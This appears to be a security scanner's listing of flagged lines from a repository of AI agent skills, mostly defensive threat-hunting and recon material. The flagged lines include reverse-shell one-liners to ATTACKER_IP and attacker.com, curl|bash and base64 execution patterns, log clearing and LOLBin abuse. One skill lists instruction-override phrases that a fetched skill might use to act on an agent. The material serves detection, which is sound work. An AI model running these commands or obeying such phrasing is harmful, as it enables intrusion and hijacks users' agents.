    bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
  • Network accessline 299
    bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
  • Network accessline 300
    python -c 'import socket,subprocess,os;...' nc -e /bin/bash ATTACKER_IP PORT ncat ATTACKER_IP PORT -e /bin/bash
  • Dangerous shell operationline 301
    nc -e /bin/bash ATTACKER_IP PORT
  • Network accessline 301
    nc -e /bin/bash ATTACKER_IP PORT
  • Dangerous shell operationline 302
    ncat ATTACKER_IP PORT -e /bin/bash
  • Network accessline 302
    ncat ATTACKER_IP PORT -e /bin/bash
  • Dangerous shell operationline 303
    /bin/bash -l > /dev/tcp/ATTACKER_IP/PORT 0<&1 2>&1
  • Network accessline 303
    /bin/bash -l > /dev/tcp/ATTACKER_IP/PORT 0<&1 2>&1
  • Dangerous shell operationline 308
    alias sudo='sudo nc -e /bin/bash attacker.com 4444 &'  # Credential harvesting
  • Network accessline 308
    alias sudo='sudo nc -e /bin/bash attacker.com 4444 &'  # Credential harvesting
  • Network accessline 384
    |--------|------------------------|-------| | `rundll32.exe` | `rundll32 \\live.sysinternals.com\...` or `rundll32 javascript:"...\..."` | Should only run local DLLs with known exports | | `regsvr32.exe` | `regsvr32 /s /u /i:http://...` | "
  • Network accessline 385
    | `rundll32.exe` | `rundll32 \\live.sysinternals.com\...` or `rundll32 javascript:"...\..."` | Should only run local DLLs with known exports | | `regsvr32.exe` | `regsvr32 /s /u /i:http://...` | "Squiblydoo" - bypasses AppLocker | | `mshta.
  • Network accessline 386
    | `regsvr32.exe` | `regsvr32 /s /u /i:http://...` | "Squiblydoo" - bypasses AppLocker |
  • Network accessline 387
    | `mshta.exe` | `mshta.exe http://...` | HTML Application from URL | | `certutil.exe` | `certutil -decode b64file.txt output.exe` | Base64 decode to executable | | `bitsadmin.exe` | `bitsadmin /transfer job http://...` | Download to disk |
  • Network accessline 388
    | `certutil.exe` | `certutil -decode b64file.txt output.exe` | Base64 decode to executable | | `bitsadmin.exe` | `bitsadmin /transfer job http://...` | Download to disk | | `wmic.exe` | `wmic process call create "powershell.exe -enc..."` | 
  • Network accessline 389
    | `bitsadmin.exe` | `bitsadmin /transfer job http://...` | Download to disk |
  • Network accessline 390
    | `wmic.exe` | `wmic process call create "powershell.exe -enc..."` | Process creation evasion | | `msiexec.exe` | `msiexec /quiet /i http://...` | Remote MSI install | | `odbcconf.exe` | `odbcconf /a {REGSVR \\attacker.com\...dll}` | DLL ex
  • Network accessline 391
    | `msiexec.exe` | `msiexec /quiet /i http://...` | Remote MSI install |
  • Network accessline 458
    ### netcat (nc / ncat)
  • Network accessline 459
    - **Legit:** Network testing, sysadmin connectivity checks, data transfer - **Malicious:** `nc -e /bin/bash IP PORT` (reverse shell), `nc -lvp PORT` (listener) - **Verdict:** Flag if found with `-e /bin/bash`, `-e cmd.exe`, or listening on 
  • Dangerous shell operationline 460
    - **Malicious:** `nc -e /bin/bash IP PORT` (reverse shell), `nc -lvp PORT` (listener)
  • Network accessline 460
    - **Malicious:** `nc -e /bin/bash IP PORT` (reverse shell), `nc -lvp PORT` (listener)
  • Network accessline 469
    - **Legit:** Many legit apps use base64 for data encoding (JWT, API params) - **Malicious:** Encoded payloads in PowerShell `-enc`, encoded URLs in curl/wget - **Verdict:** Flag if base64 in `-enc` arg to PowerShell, or decodes to shellcode
  • Dangerous shell operationline 496
    2. **LaunchAgent with script path** (High) + **script contains curl|bash** (Critical) = **CRITICAL - active persistence**
  • Dangerous shell operationline 498
    3. **New user account** (Medium) + **added to sudo group** (High) + **created outside business hours** (Low-Medium) = **HIGH - unauthorized account creation**

skills/defensive/endpoint-threat-hunt/references/known-attacks-linux.md

  • Network accessline 6
    | Campaign (aliases) | Type | High-signal IOCs (defanged) | Source | |---|---|---|---| | **The Gentlemen** (TukTuk C2 framework) | Cross-platform C2 agent (paired with a Windows ransomware toolkit) | **Linux agent:** TukTuk agent retrieves 
  • Network accessline 7
    |---|---|---|---| | **The Gentlemen** (TukTuk C2 framework) | Cross-platform C2 agent (paired with a Windows ransomware toolkit) | **Linux agent:** TukTuk agent retrieves commands via a `poll()` loop (delivered in `tuktuk-v2.0_10.zip`, SHA2
  • Network accessline 8
    | **The Gentlemen** (TukTuk C2 framework) | Cross-platform C2 agent (paired with a Windows ransomware toolkit) | **Linux agent:** TukTuk agent retrieves commands via a `poll()` loop (delivered in `tuktuk-v2.0_10.zip`, SHA256 `e7408841…681f9
  • Network accessline 9
    | **XMRig PAM botnet** ("PRIVATE VERSION FOR BOTNET") | Cryptomining botnet; PAM-abuse lateral movement + anti-forensics | **XMRig fork:** custom banner `PRIVATE VERSION FOR BOTNET` (XMRig 6.25.0, musl-static); SHA256 `55c67c84…8796f838`, M
  • Network accessline 10
    | **Atomic Arch** (AUR + npm supply-chain) | Supply-chain infostealer + eBPF rootkit via hijacked packages | **Hijacked AUR packages:** `alvr`, `premake-git` (400+ total)<br>**npm droppers:** `atomic-lockfile@1.4.2`, `js-digest` (via `bun i
  • Network accessline 11
    | **perfctl** | Stealthy cryptominer + rootkit, mass-exploits exposed Linux servers | **Userland rootkit:** `libgcwrap.so` loaded via `/etc/ld.so.preload`<br>**Trojanized binaries:** `ldd`, `top`, `crontab`, `lsof` (replaced to hide activit
  • Network accessline 12
    | **XZ Utils backdoor** (CVE-2024-3094) | Supply-chain backdoor in `liblzma`, hooks OpenSSH auth via systemd | **Affected versions:** XZ Utils / `liblzma` **5.6.0** and **5.6.1** (`xz --version`, `rpm -q xz` / `dpkg -l liblzma5`)<br>**Build

skills/defensive/endpoint-threat-hunt/references/known-attacks-macos.md

  • Network accessline 6
    | Campaign (aliases) | Type | High-signal IOCs (defanged) | Source | |---|---|---|---| | **Atomic macOS Stealer** (AMOS) | Infostealer + persistent backdoor, via cracked apps, fake installer `.dmg`, and `curl \| bash` terminal lures | **Per
  • Network accessline 7
    |---|---|---|---| | **Atomic macOS Stealer** (AMOS) | Infostealer + persistent backdoor, via cracked apps, fake installer `.dmg`, and `curl \| bash` terminal lures | **Persistence (LaunchDaemon):** `/Library/LaunchDaemons/com.finder.helper.
  • Dangerous shell operationline 8
    [Credential-related source omitted]
  • Network accessline 8
    [Credential-related source omitted]
  • Access to secretsline 8
    [Credential-related source omitted]
  • Network accessline 9
    [Credential-related source omitted]
  • Access to secretsline 9
    [Credential-related source omitted]
  • Network accessline 10
    | **Fake Maccy Stealer** | Infostealer masquerading as the Maccy clipboard app (SEO poisoning) | **Persistence (Login Items, not LaunchAgent):** registers via `LSSharedFileList` / `SMAppService` APIs<br>**Bundle id:** `com.apple.finder.moni
  • Network accessline 11
    | **Sapphire Sleet** (DPRK state actor) | Targeted crypto-theft; fake-recruiter `.scpt` lures → `curl`-to-`osascript` backdoor chain | **Lure files (`.scpt`):** `Zoom SDK Update.scpt`, `MSTeams SDK Update.scpt` (opened in Script Editor)<br>

skills/defensive/endpoint-threat-hunt/references/known-attacks-windows.md

  • Network accessline 6
    | Campaign (aliases) | Type | High-signal IOCs (defanged) | Source | |---|---|---|---| | **Silver Fox** (Yinhu / 银狐) | Counterfeit-installer → RAT, via SEO-poisoned fake software download sites | **Scheduled tasks (very distinctive):** `\De
  • Network accessline 7
    |---|---|---|---| | **Silver Fox** (Yinhu / 银狐) | Counterfeit-installer → RAT, via SEO-poisoned fake software download sites | **Scheduled tasks (very distinctive):** `\Deadline Mission Target`, `\Hierarchy Tools Smooth Inventory`, `\Empowe
  • Network accessline 8
    | **Silver Fox** (Yinhu / 银狐) | Counterfeit-installer → RAT, via SEO-poisoned fake software download sites | **Scheduled tasks (very distinctive):** `\Deadline Mission Target`, `\Hierarchy Tools Smooth Inventory`, `\Empowering Status Tools 
  • Network accessline 9
    | **The Gentlemen** (TukTuk C2 framework) | Human-operated ransomware; BYOVD EDR-killer + DLL sideloading | **BYOVD drivers:** `eb.sys` (GentleKiller variant, SHA256 `97BD65E9…3B1BE091`), `wsftprm.sys`<br>**Loader / C2 agent:** `TukTuk.exe`
  • Network accessline 10
    | **Reynolds ransomware** | Ransomware with embedded BYOVD EDR-killer | **BYOVD driver:** NsecSoft `NSecKrnl` bundled inside the payload (CVE-2025-68947, terminates arbitrary AV/EDR processes)<br>**Post-exploit RAT:** `GotoHTTP` remote-acce
  • Network accessline 11
    | **DeadLock ransomware** | Ransomware; BYOVD via vulnerable Baidu AV driver | **BYOVD driver:** `BdApiUtil.sys` (Baidu, CVE-2024-51324) dropped as `DriverGay.sys`<br>**EDR-killer loader:** `EDRGay.exe`<br>**Dropped:** `.cmd` script in `C:\

skills/defensive/endpoint-threat-hunt/references/linux-checks.md

  • Dangerous shell operationline 322
    sudo crontab -l 2>/dev/null
  • Dangerous shell operationline 336
    cron=$(sudo crontab -l -u "$user" 2>/dev/null)
  • Network accessline 343
    **Flag:** - Entries downloading + executing: `curl http://... | bash`, `wget -O- ... | sh`
  • Dangerous shell operationline 344
    - Entries downloading + executing: `curl http://... | bash`, `wget -O- ... | sh`
  • Network accessline 344
    - Entries downloading + executing: `curl http://... | bash`, `wget -O- ... | sh`
  • Network accessline 404
    **Flag:** - `alias` shadowing system tools (`alias sudo='sudo nc -e /bin/bash attacker.com 4444'`)
  • Dangerous shell operationline 405
    - `alias` shadowing system tools (`alias sudo='sudo nc -e /bin/bash attacker.com 4444'`)
  • Network accessline 405
    - `alias` shadowing system tools (`alias sudo='sudo nc -e /bin/bash attacker.com 4444'`)
  • Access to secretsline 419
    [Credential-related source omitted]
  • Dangerous shell operationline 516
    - `/etc/sudoers` recently modified - sudo privilege added
  • Dangerous shell operationline 566
    getent group sudo 2>/dev/null
  • Dangerous shell operationline 571
    # Users with sudo access (T2)
  • Dangerous shell operationline 572
    sudo cat /etc/sudoers 2>/dev/null
  • Dangerous shell operationline 573
    sudo ls /etc/sudoers.d/ 2>/dev/null
  • Dangerous shell operationline 607
    **Tier:** T2 (sudo required)
  • Dangerous shell operationline 611
    sudo tail -100 /var/log/auth.log 2>/dev/null | grep -E "Failed|Invalid|Accepted|sudo"
  • Dangerous shell operationline 614
    sudo tail -100 /var/log/secure 2>/dev/null | grep -E "Failed|Invalid|Accepted|sudo"
  • Dangerous shell operationline 617
    sudo journalctl -u sshd --since "24 hours ago" --no-pager 2>/dev/null | tail -50
  • Dangerous shell operationline 618
    sudo journalctl -u sudo --since "24 hours ago" --no-pager 2>/dev/null | tail -30
  • Dangerous shell operationline 651
    **Tier:** T2 (sudo required)
  • Dangerous shell operationline 655
    sudo dmesg | tail -300 | grep -E "insmod|rmmod|module|loaded|unloaded" 2>/dev/null
  • Dangerous shell operationline 658
    sudo journalctl -k --since "24 hours ago" --no-pager 2>/dev/null | grep -iE "module|insmod|rmmod" | head -30
  • Dangerous shell operationline 672
    **Tier:** T2 (sudo required)
  • Dangerous shell operationline 675
    sudo bpftool prog list 2>/dev/null
  • Dangerous shell operationline 676
    sudo bpftool map list 2>/dev/null
  • Network accessline 709
    **Flag:** - Download + execute: `curl http://... | bash`, `wget -q -O- ... | sh`
  • Dangerous shell operationline 710
    - Download + execute: `curl http://... | bash`, `wget -q -O- ... | sh`
  • Network accessline 710
    - Download + execute: `curl http://... | bash`, `wget -q -O- ... | sh`
  • Dangerous shell operationline 711
    - Base64 decode + execute: `echo "..." | base64 -d | bash`
  • Dangerous shell operationline 716
    - `rm -rf /var/log`, `echo "" > /var/log/auth.log` - log clearing
  • Network accessline 737
    grep -E "(base64|python.*decode|perl.*unpack|eval\(|exec\()" ~/.bash_history 2>/dev/null grep -E "(curl|wget).*(bash|sh|python|perl)" ~/.bash_history 2>/dev/null grep -E "nc\s+-[el]|ncat\s+-[el]|/dev/tcp/" ~/.bash_history 2>/dev/null
  • Dangerous shell operationline 738
    grep -E "(curl|wget).*(bash|sh|python|perl)" ~/.bash_history 2>/dev/null
  • Network accessline 738
    grep -E "(curl|wget).*(bash|sh|python|perl)" ~/.bash_history 2>/dev/null grep -E "nc\s+-[el]|ncat\s+-[el]|/dev/tcp/" ~/.bash_history 2>/dev/null grep -E "chmod\s+[0-9]*\s+/tmp|chmod\s+\+x\s+/tmp" ~/.bash_history 2>/dev/null
  • Dangerous shell operationline 739
    grep -E "nc\s+-[el]|ncat\s+-[el]|/dev/tcp/" ~/.bash_history 2>/dev/null
  • Network accessline 739
    grep -E "nc\s+-[el]|ncat\s+-[el]|/dev/tcp/" ~/.bash_history 2>/dev/null
  • Dangerous shell operationline 767
    sudo auditctl -l 2>/dev/null
  • Dangerous shell operationline 770
    sudo ausearch -ts recent 2>/dev/null | tail -50
  • Network accessline 809
    | Executable in `/tmp` running as root | Critical | Severe indicator | | Shell spawned from web server process | Critical | Web shell exploitation confirmed | | Cron job with `curl \| bash` pattern | Critical | Download and execute - active
  • Network accessline 810
    | Shell spawned from web server process | Critical | Web shell exploitation confirmed | | Cron job with `curl \| bash` pattern | Critical | Download and execute - active C2 or installer | | SUID binary outside standard paths | High | Potent
  • Dangerous shell operationline 811
    | Cron job with `curl \| bash` pattern | Critical | Download and execute - active C2 or installer |
  • Network accessline 811
    | Cron job with `curl \| bash` pattern | Critical | Download and execute - active C2 or installer |
  • Dangerous shell operationline 823
    | New sudo user added | Medium | Could be legitimate IT action or escalation |

skills/defensive/endpoint-threat-hunt/references/macos-checks.md

  • Dangerous shell operationline 346
    sudo crontab -l
  • Network accessline 349
    **Flag:** - Cron running scripts from home dirs, `/tmp`, or unusual paths - `curl | bash` or `wget -O- | sh` patterns - download and execute
  • Network accessline 350
    - Cron running scripts from home dirs, `/tmp`, or unusual paths - `curl | bash` or `wget -O- | sh` patterns - download and execute - Very frequent schedules on unknown tasks (every minute, every 5 min)
  • Dangerous shell operationline 351
    - `curl | bash` or `wget -O- | sh` patterns - download and execute
  • Network accessline 351
    - `curl | bash` or `wget -O- | sh` patterns - download and execute
  • Access to secretsline 540
    [Credential-related source omitted]
  • Access to secretsline 543
    [Credential-related source omitted]
  • Access to secretsline 553
    [Credential-related source omitted]
  • Dangerous shell operationline 558
    **Tier:** T2 (sudo required)
  • Dangerous shell operationline 562
    sudo log show --predicate 'eventMessage contains "authentication"' --last 4h --style compact 2>/dev/null | head -50
  • Dangerous shell operationline 564
    # sudo usage
  • Dangerous shell operationline 565
    sudo log show --predicate 'eventMessage contains "sudo"' --last 24h --style compact 2>/dev/null | head -50
  • Dangerous shell operationline 568
    sudo log show --predicate 'eventMessage contains "sshd"' --last 24h --style compact 2>/dev/null | head -50
  • Dangerous shell operationline 571
    sudo log show --predicate 'eventMessage contains "failed" AND eventMessage contains "authentication"' --last 24h --style compact 2>/dev/null | head -30
  • Network accessline 639
    **Flag:** - `curl`/`wget` piped to `bash`/`sh` - Download + execute: `curl -o /tmp/x http://... && chmod +x /tmp/x && /tmp/x`
  • Network accessline 640
    - `curl`/`wget` piped to `bash`/`sh` - Download + execute: `curl -o /tmp/x http://... && chmod +x /tmp/x && /tmp/x` - Base64 decode + execute: `echo "..." | base64 -d | bash`
  • Network accessline 641
    - Download + execute: `curl -o /tmp/x http://... && chmod +x /tmp/x && /tmp/x`
  • Dangerous shell operationline 642
    - Base64 decode + execute: `echo "..." | base64 -d | bash`
  • Dangerous shell operationline 665
    **Tier:** T2 (sudo required)
  • Dangerous shell operationline 669
    sudo log show --predicate 'eventMessage contains "XProtect"' --last 24h --style compact 2>/dev/null | head -30
  • Dangerous shell operationline 672
    sudo log show --predicate 'eventMessage contains "MRT"' --last 24h --style compact 2>/dev/null | head -30
  • Dangerous shell operationline 675
    sudo log show --predicate 'subsystem == "com.apple.securityd"' --last 4h --style compact 2>/dev/null | head -50
  • Dangerous shell operationline 728
    sudo sqlite3 "/Library/Application Support/com.apple.TCC/TCC.db" \

skills/defensive/endpoint-threat-hunt/references/windows-checks.md

  • Network accessline 87
    - `wscript.exe`/`cscript.exe` with scripts from `%TEMP%` or `%APPDATA%` - `rundll32.exe` with unusual DLL paths (not `System32`) - `regsvr32.exe /s /u /i:http://...` - Squiblydoo technique
  • Network accessline 88
    - `rundll32.exe` with unusual DLL paths (not `System32`) - `regsvr32.exe /s /u /i:http://...` - Squiblydoo technique - `mshta.exe` with URL argument - HTML App execution
  • Network accessline 89
    - `regsvr32.exe /s /u /i:http://...` - Squiblydoo technique

skills/defensive/parse-security/SKILL.md

  • Access to secretsline 92
    [Credential-related source omitted]
  • Network accessline 100
    - Shell invocation: bash -c, sh -c, eval, exec, subprocess, os.system, child_process - Pipe to shell: curl piped to bash, wget piped to sh, in any spacing or flag order
  • Network accessline 101
    - Pipe to shell: curl piped to bash, wget piped to sh, in any spacing or flag order
  • Access to secretsline 152
    [Credential-related source omitted]
  • Network accessline 162
    grep -rniE 'fetch (and|then) (follow|run|execute|apply)|download .* and (run|execute)|read .* then follow|instructions? (at|from) (this )?(url|link)' "$TARGET"

skills/defensive/parse-security/references/patterns.md

  • Instruction override signalline 22
    | already approved, pre-authorized | Almost none in a fetched skill | high | | no need to ask, do not confirm | A skill reducing prompts for genuinely read-only steps | high when it covers writes, network, or credentials | | do not mention,
  • Instruction override signalline 23
    | no need to ask, do not confirm | A skill reducing prompts for genuinely read-only steps | high when it covers writes, network, or credentials | | do not mention, do not tell the user | None | high, always | | this skill is trusted, verifi
  • Instruction override signalline 24
    | do not mention, do not tell the user | None | high, always |
  • Access to secretsline 33
    [Credential-related source omitted]
  • Network accessline 43
    | --- | --- | --- | | bash -c, eval, subprocess | Any skill that legitimately runs tooling | low alone, high when the command string is assembled or fetched | | curl piped to shell | None that justify it inside a skill file | high, always |
  • Network accessline 44
    | bash -c, eval, subprocess | Any skill that legitimately runs tooling | low alone, high when the command string is assembled or fetched | | curl piped to shell | None that justify it inside a skill file | high, always | | package install |
  • Network accessline 45
    | curl piped to shell | None that justify it inside a skill file | high, always |

skills/generic-utils/agentic-seo/SKILL.md

  • Network accessline 8
    - Go to https://schema.org/docs/schemas.html and browse schemas we should use, as well as breadcrumbs, for rich results and JSON-LD content for search engines
  • Network accessline 9
    - Drive a browser to https://www.seoptimer.com/ and run a free login-less site audit and apply all code adjustments to satisfy and get a top score (has 3 attempts a day, alternative fallback to https://www.seobility.net/en/seocheck)
  • Network accessline 10
    - Use the Open Graph checker https://www.opengraph.xyz/ to ensure that when sites are sent over social media, Open Graph is optimized per page or important page we are sharing in-app.
  • Network accessline 13
    - Check for llms.txt - and concisely create one if missing. - Ensure correctly generating sitemap.xml (with entries that won’t lower our score) - Use a browser driver to go to https://search.google.com/ and ensure the site is listed on Goog
  • Network accessline 14
    - Ensure correctly generating sitemap.xml (with entries that won’t lower our score) - Use a browser driver to go to https://search.google.com/ and ensure the site is listed on Google Search Console as an asset, the sitemap is submitted late
  • Network accessline 15
    - Use a browser driver to go to https://search.google.com/ and ensure the site is listed on Google Search Console as an asset, the sitemap is submitted lately, and inspect any page issues and fix them.
  • Network accessline 16
    - Adapt keywords per page for the content and highly optimize for specific search queries (best if you consult with the user on what you think is the right set) - Ensure accessibility, privacy, terms, are applied to high extend (unless the 
  • Network accessline 17
    - Ensure accessibility, privacy, terms, are applied to high extend (unless the user opts out of privacy/terms) to best results - Also use LightHouse for page speed insights https://pagespeed.web.dev/analysis - If the site is on Cloudflare, 
  • Network accessline 18
    - Also use LightHouse for page speed insights https://pagespeed.web.dev/analysis

skills/generic-utils/context-window-to-skill/SKILL.md

  • Network accessline 12
    3. Print to the user 10 (or more) top items you think are the core points to base the new skill upon 4. Consult with the user if questions still remain 5. Create a skill and place it on the ~/.claude/skills/ directory. comply to agent skill
  • Network accessline 14
    5. Create a skill and place it on the ~/.claude/skills/ directory. comply to agent skill format and [https://code.claude.com/docs/en/skills](https://code.claude.com/docs/en/skills)

skills/generic-utils/no-aispeak/SKILL.md

  • Network accessline 21
    - Spacing - paragraph contextual spacing (new lines) bullets when making sense etc. - NEVER use em-dashes or AI-slop-giveaways - Refer to https://en.wikipedia.org/wiki/Wikipedia:Signs_of_AI_writing#Language_and_grammar to avoid extra heuris
  • Network accessline 23
    - Refer to https://en.wikipedia.org/wiki/Wikipedia:Signs_of_AI_writing#Language_and_grammar to avoid extra heuristics that can indicate AI like grammar tendencies

skills/generic-utils/shadow-partner/SKILL.md

  • Access to secretsline 19
    [Credential-related source omitted]

skills/generic-utils/shadow-partner/references/setup.md

  • Access to secretsline 10
    [Credential-related source omitted]
  • Network accessline 27
    1. Sign in at <https://developer.x.com/en/portal/dashboard>.

skills/generic-utils/shadow-partner/scripts/estimate.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/generic-utils/shadow-partner/scripts/pull.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 68
    "urls": [e.get("expanded_url") for e in                          t.get("entities", {}).get("urls", []) if e.get("expanded_url")],                 "link": f"https://x.com/{u['username']}/status/{t['id']}",
  • Network accessline 69
    t.get("entities", {}).get("urls", []) if e.get("expanded_url")],                 "link": f"https://x.com/{u['username']}/status/{t['id']}",             })
  • Network accessline 70
    "link": f"https://x.com/{u['username']}/status/{t['id']}",

skills/generic-utils/shadow-partner/scripts/xapi.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 5
    [Credential-related source omitted]
  • Network accessline 18
    API = "https://api.twitter.com"
  • Access to secretsline 21
    [Credential-related source omitted]
  • Access to secretsline 22
    [Credential-related source omitted]
  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 60
    [Credential-related source omitted]
  • Network accessline 78
    [Credential-related source omitted]
  • Network accessline 79
    basic = base64.b64encode(f"{key}:{secret}".encode()).decode()         req = urllib.request.Request(             f"{API}/oauth2/token", data=b"grant_type=client_credentials",
  • Network accessline 80
    req = urllib.request.Request(
  • Network accessline 83
    "Content-Type": "application/x-www-form-urlencoded"})         try:             self.bearer = json.load(urllib.request.urlopen(req))["access_token"]
  • Network accessline 84
    try:             self.bearer = json.load(urllib.request.urlopen(req))["access_token"]         except urllib.error.HTTPError as e:
  • Network accessline 85
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Network accessline 96
    [Credential-related source omitted]
  • Network accessline 97
    [Credential-related source omitted]
  • Network accessline 98
    [Credential-related source omitted]
  • Network accessline 99
    for attempt in range(4):             try:                 return json.load(urllib.request.urlopen(req))
  • Network accessline 100
    try:                 return json.load(urllib.request.urlopen(req))             except urllib.error.HTTPError as e:
  • Network accessline 101
    return json.load(urllib.request.urlopen(req))

skills/hunter-utils/evidence-capture/SKILL.md

  • Network accessline 28
    - For videos Explicitly use HyperFrames and their studio app locally. - A capture source. Any one of:   - Burp proxy history over the `reburp` REST API (`http://127.0.0.1:9090`) for the real HTTP request and response behind a step. See the 
  • Network accessline 29
    - A capture source. Any one of:   - Burp proxy history over the `reburp` REST API (`http://127.0.0.1:9090`) for the real HTTP request and response behind a step. See the `burp-interaction` usage if present.   - A browser you can drive and s
  • Network accessline 30
    - Burp proxy history over the `reburp` REST API (`http://127.0.0.1:9090`) for the real HTTP request and response behind a step. See the `burp-interaction` usage if present.

skills/hunter-utils/external-enumeration/SKILL.md

  • Dangerous shell operationline 61
    curl -s "https://crt.sh/?q=%.example.com&output=json"    | python3 -c "import sys,json; [print(e['name_value']) for e in json.load(sys.stdin)]"
  • Network accessline 61
    curl -s "https://crt.sh/?q=%.example.com&output=json" \
  • Network accessline 68
    curl -s "https://api.hackertarget.com/hostsearch/?q=example.com" | cut -d',' -f1 | sort -u
  • Network accessline 73
    curl -s "https://web.archive.org/cdx/search/cdx?url=*.example.com&output=text&fl=original&collapse=urlkey" \
  • Dangerous shell operationline 79
    curl -s "https://urlscan.io/api/v1/search/?q=domain:example.com&size=100"    | python3 -c "import sys,json; d=json.load(sys.stdin); [print(r['page']['domain']) for r in d.get('results',[])]"
  • Network accessline 79
    curl -s "https://urlscan.io/api/v1/search/?q=domain:example.com&size=100" \
  • Network accessline 86
    curl -s "https://rapiddns.io/subdomain/example.com?full=1" \
  • Dangerous shell operationline 93
    curl -s "https://otx.alienvault.com/api/v1/indicators/domain/example.com/passive_dns"    | python3 -c "import sys,json; [print(r.get('hostname','')) for r in json.load(sys.stdin).get('passive_dns',[])]"
  • Network accessline 93
    curl -s "https://otx.alienvault.com/api/v1/indicators/domain/example.com/passive_dns" \
  • Network accessline 131
    collect_headers() {   local sub=$1   local result=$(curl -sk -o /dev/null \
  • Network accessline 132
    local sub=$1   local result=$(curl -sk -o /dev/null \     --max-time 10 \
  • Network accessline 133
    local result=$(curl -sk -o /dev/null \
  • Network accessline 135
    -D - \     -A "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \     "https://$sub" 2>/dev/null | head -80)
  • Network accessline 137
    "https://$sub" 2>/dev/null | head -80)
  • Network accessline 196
    location: https://launcher.myapps.microsoft.com/api/signin/APP_ID?tenantId=TENANT_UUID
  • Network accessline 208
    curl -sI https://app.example.com | grep -iE 'via|x-amz|x-cache|server'
  • Network accessline 238
    const targets = [   'https://app.example.com',
  • Network accessline 239
    'https://app.example.com',
  • Network accessline 272
    for host in direct-ip-1 direct-ip-2; do   for port in 80 443 8080 8443 3000 4443; do     result=$(curl -sk --max-time 5 -o /dev/null -w "%{http_code}" \
  • Network accessline 273
    for port in 80 443 8080 8443 3000 4443; do     result=$(curl -sk --max-time 5 -o /dev/null -w "%{http_code}" \       "$([ $port = 443 ] || [ $port = 8443 ] && echo https || echo http)://$host:$port/")
  • Network accessline 274
    result=$(curl -sk --max-time 5 -o /dev/null -w "%{http_code}" \

skills/hunter-utils/gdocs-audit-report/references/api-patterns.md

  • Network accessline 132
    heading_id = para["paragraphStyle"]["headingId"]  # e.g. "h.vbzwjo2n54rj" url = f"https://docs.google.com/document/d/{DOC_ID}/edit#heading={heading_id}"
  • Network accessline 133
    url = f"https://docs.google.com/document/d/{DOC_ID}/edit#heading={heading_id}"

skills/hunter-utils/gdocs-audit-report/scripts/gdocs_auth.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 27
    {                     "iss": key_data["client_email"],                     "scope": "https://www.googleapis.com/auth/drive",
  • Network accessline 28
    "iss": key_data["client_email"],                     "scope": "https://www.googleapis.com/auth/drive",                     "aud": "https://oauth2.googleapis.com/token",
  • Network accessline 29
    "scope": "https://www.googleapis.com/auth/drive",
  • Network accessline 30
    "aud": "https://oauth2.googleapis.com/token",
  • Network accessline 50
    {"grant_type": "urn:ietf:params:oauth:grant-type:jwt-bearer", "assertion": jwt}     ).encode()     req = urllib.request.Request("https://oauth2.googleapis.com/token", data=data)
  • Network accessline 51
    ).encode()     req = urllib.request.Request("https://oauth2.googleapis.com/token", data=data)     return json.loads(urllib.request.urlopen(req, context=ssl_ctx).read())[
  • Network accessline 52
    req = urllib.request.Request("https://oauth2.googleapis.com/token", data=data)
  • Network accessline 53
    return json.loads(urllib.request.urlopen(req, context=ssl_ctx).read())[
  • Access to secretsline 54
    [Credential-related source omitted]
  • Network accessline 58
    [Credential-related source omitted]
  • Network accessline 59
    req = urllib.request.Request(
  • Network accessline 60
    f"https://docs.googleapis.com/v1/documents/{doc_id}",
  • Network accessline 61
    [Credential-related source omitted]
  • Network accessline 63
    return json.loads(urllib.request.urlopen(req, context=ssl_ctx).read())
  • Network accessline 68
    body = json.dumps({"requests": ops}).encode()     req = urllib.request.Request(
  • Network accessline 69
    req = urllib.request.Request(
  • Network accessline 70
    f"https://docs.googleapis.com/v1/documents/{doc_id}:batchUpdate",
  • Network accessline 76
    },     )     resp = json.loads(urllib.request.urlopen(req, context=ssl_ctx).read())
  • Network accessline 77
    )     resp = json.loads(urllib.request.urlopen(req, context=ssl_ctx).read())     if label:
  • Network accessline 78
    resp = json.loads(urllib.request.urlopen(req, context=ssl_ctx).read())

skills/hunter-utils/hackerone-report/references/report-template.md

  • Access to secretsline 29
    [Credential-related source omitted]

skills/hunter-utils/nuclei-suggest/SKILL.md

  • Network accessline 23
    Surface every finding, ranked by severity, with: its `template-id`; a full clickable template link, `https://github.com/projectdiscovery/nuclei-templates/blob/<sha>/<template-path>` where `<sha>` is `git -C <clone> rev-parse HEAD`, commit-p

skills/hunter-utils/nuclei-suggest/references/install.md

  • Network accessline 7
    | What | URL | |---|---| | Binary releases | https://github.com/projectdiscovery/nuclei/releases |
  • Network accessline 8
    |---|---| | Binary releases | https://github.com/projectdiscovery/nuclei/releases | | Source | https://github.com/projectdiscovery/nuclei |
  • Network accessline 9
    | Binary releases | https://github.com/projectdiscovery/nuclei/releases |
  • Network accessline 10
    | Source | https://github.com/projectdiscovery/nuclei |
  • Network accessline 11
    | Templates | https://github.com/projectdiscovery/nuclei-templates |
  • Network accessline 13
    | Docs | https://docs.projectdiscovery.io/tools/nuclei |
  • Network accessline 27
    OS=linux ARCH=amd64 URL=$(curl -s https://api.github.com/repos/projectdiscovery/nuclei/releases/latest \
  • Network accessline 28
    URL=$(curl -s https://api.github.com/repos/projectdiscovery/nuclei/releases/latest \
  • Network accessline 29
    | grep -o "https://github.com/[^\"]*nuclei_[0-9.]*_${OS}_${ARCH}.zip") curl -sL "$URL" -o nuclei.zip curl -sL "$(dirname "$URL")/checksums.txt" -o checksums.txt
  • Network accessline 30
    curl -sL "$URL" -o nuclei.zip
  • Network accessline 31
    curl -sL "$(dirname "$URL")/checksums.txt" -o checksums.txt
  • Network accessline 39
    git clone --depth 1 https://github.com/projectdiscovery/nuclei-templates

skills/hunter-utils/sandboxed-audit-runner/SKILL.md

  • Network accessline 52
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Network accessline 53
    curl https://example.com  # should be blocked if not in allowedDomains
  • Dangerous shell operationline 60
    rm .srt-audit.json
  • Access to secretsline 67
    [Credential-related source omitted]

skills/hunter-utils/sandboxed-audit-runner/references/smart-contract.srt.md

  • Access to secretsline 34
    [Credential-related source omitted]
